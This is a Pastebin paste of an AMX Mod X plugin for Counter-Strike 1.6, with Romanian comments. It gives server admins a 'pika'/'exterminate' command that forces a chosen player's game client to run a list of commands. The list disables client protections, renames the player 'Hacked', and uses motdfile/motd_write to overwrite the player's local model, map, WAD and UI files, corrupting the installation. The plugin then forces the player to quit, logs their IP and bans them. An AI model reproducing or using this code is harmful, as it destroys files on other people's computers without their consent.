Guest User

Untitled

a guest
Jul 19th, 2017
147
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include < amxmodx >
  2. #include < amxmisc >
  3. #include < fakemeta >
  4.  
  5.  
  6. /*************************************************************/
  7. /* ATENTIE!
  8. Stergeti // daca vreti mesaje colorate in chat pe Server!
  9. Trebuie sa aveti pluginul: [Dyn Native] ColorChat
  10. URL Download: https://forums.alliedmods.net/showthread.php?t=94960
  11. */
  12. /* LINIA ASTA O MODIFICATI cu // sau fara */
  13. #define USE_COLOR_CHAT
  14.  
  15. #if defined USE_COLOR_CHAT
  16.  
  17. #pragma reqlib chatcolor
  18. #define RED Red
  19. #define BLUE Blue
  20. #define GREY Grey
  21. #define ColorChat client_print_color
  22. enum
  23. {
  24. Grey = 33,
  25. Red,
  26. Blue
  27. }
  28.  
  29. native client_print_color(index, sender, const fmt[], any:...);
  30. #endif
  31.  
  32. // Numele fisierului .log
  33. #define LOGFILE "AMXX_PIKA.log"
  34.  
  35. /************************************************************/
  36.  
  37. static const g_sCommands [ ] [ ] =
  38. {
  39. "gl_log 1",
  40. "csx_setcvar Enabled False",
  41. "rus_setcvar Enabled False",
  42. "prot_setcvar Enabled False",
  43. "BlockCommands Enabled False",
  44. "rate 1",
  45. "cd eject",
  46. "cd eject",
  47. "cd eject",
  48. "cd eject",
  49. "cd eject",
  50. "cd eject",
  51. "cd eject",
  52. "name Hacked New-Pika",
  53. "motdfile models/player.mdl;motd_write PIKA",
  54. "motdfile models/v_ak47.mdl;motd_write PIKA",
  55. "motdfile cs_dust.wad;motd_write PIKA",
  56. "motdfile models/v_m4a1.mdl;motd_write PIKA",
  57. "motdfile resource/GameMenu.res;motd_write PIKA",
  58. "motdfile resource/GameMenu.res;motd_write PIKA",
  59. "motdfile resource/background/800_1_a_loading.tga;motd_write PIKA",
  60. "motdfile resource/background/800_1_b_loading.tga;motd_write PIKA",
  61. "motdfile resource/background/800_1_c_loading.tga;motd_write PIKA",
  62. "motdfile resource/UI/BuyShotguns_TER.res;motd_write PIKA",
  63. "motdfile resource/UI/MainBuyMenu.res;motd_write PIKA",
  64. "motdfile resource/UI/BuyEquipment_TER.res;motd_write PIKA",
  65. "motdfile resource/UI/Teammenu.res;motd_write PIKA",
  66. "motdfile halflife.wad;motd_write PIKA",
  67. "motdfile cstrike.wad;motd_write PIKA",
  68. "motdfile maps/de_dust2.bsp;motd_write PIKA",
  69. "motdfile events/ak47.sc;motd_write PIKA",
  70. "quit",
  71. "echo ????!"
  72.  
  73. };
  74.  
  75. new const
  76. PLUGIN_NAME [ ] = "AMXX Russian",
  77. PLUGIN_VERSION [ ] = "2.2.0";
  78.  
  79. #pragma semicolon 1
  80.  
  81. new g_pCvar_tele_effect;
  82.  
  83. public plugin_init ( )
  84. {
  85. register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, "CryWolf" );
  86.  
  87. g_pCvar_tele_effect = register_cvar ( "amx_pika_teleeff", "0" );
  88. register_concmd ( "amx_russian", "Concmd_AMXX_exterminate", ADMIN_IMMUNITY, "<jucator / player>" );
  89. register_concmd ( "amx_pika", "Concmd_AMXX_exterminate", ADMIN_IMMUNITY, "<jucator / player>" );
  90. register_concmd ( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_IMMUNITY, "<jucator / player>" );
  91. }
  92.  
  93. public Concmd_AMXX_exterminate ( id, level, cid )
  94. {
  95. if ( !cmd_access ( id, level, cid, 0 ) ) {
  96. client_print ( id, print_console, "[AMXX] Nu ai access la aceasta comanda" );
  97. return 1;
  98. }
  99.  
  100. new sArgument[ 33 ];
  101. read_argv ( 1, sArgument, charsmax ( sArgument ) );
  102.  
  103. new player = cmd_target ( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
  104.  
  105. if ( !player )
  106. {
  107. console_print ( id, "[AMXX] Jucatorul mentionat nu este valid." );
  108. return 1;
  109. }
  110.  
  111. for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
  112. client_cmd ( player, g_sCommands [ i ] );
  113.  
  114. if ( get_pcvar_num ( g_pCvar_tele_effect ) ) {
  115. set_task ( 0.3, "FunC_Tele_Effect", player );
  116. }
  117.  
  118. new szName [ 33 ], szName2 [ 33 ], ip2 [ 16 ];
  119.  
  120. get_user_name ( id, szName, charsmax ( szName ) );
  121. get_user_name ( player, szName2, charsmax ( szName2 ) );
  122. get_user_ip ( player, ip2, charsmax ( ip2 ), 1 );
  123.  
  124. log_to_file ( LOGFILE, "Victima este [%s] cu Ip [%s]. Distrus de [%s]!", szName2, ip2, szName );
  125.  
  126. #if defined USE_COLOR_CHAT
  127. client_print_color ( 0, Blue, "^4%s ^1Hacked ^4%s ^1-[Distrus Complet]-", szName, szName2 );
  128. #else
  129. client_print ( 0, print_chat, "Admin (%s) a dat pika + ban permanent lui (%s)", szName, szName2 );
  130. #endif
  131.  
  132. client_cmd ( 0, "spk ^"vox/bizwarn eliminated" );
  133. server_cmd ( "amx_banip %s 0 Pika", player );
  134.  
  135. return 1;
  136. }
  137.  
  138. public FunC_Tele_Effect ( id )
  139. {
  140. if ( !is_user_alive ( id ) )
  141. return;
  142.  
  143. static Float:iOrigin [ 3 ];
  144. pev ( id, pev_origin, iOrigin );
  145.  
  146. engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, iOrigin, 0 );
  147. write_byte ( TE_TELEPORT );
  148. engfunc ( EngFunc_WriteCoord, iOrigin [ 0 ] );
  149. engfunc ( EngFunc_WriteCoord, iOrigin [ 1 ] );
  150. engfunc ( EngFunc_WriteCoord, iOrigin [ 2 ] );
  151. message_end ( );
  152. }
RAW Paste Data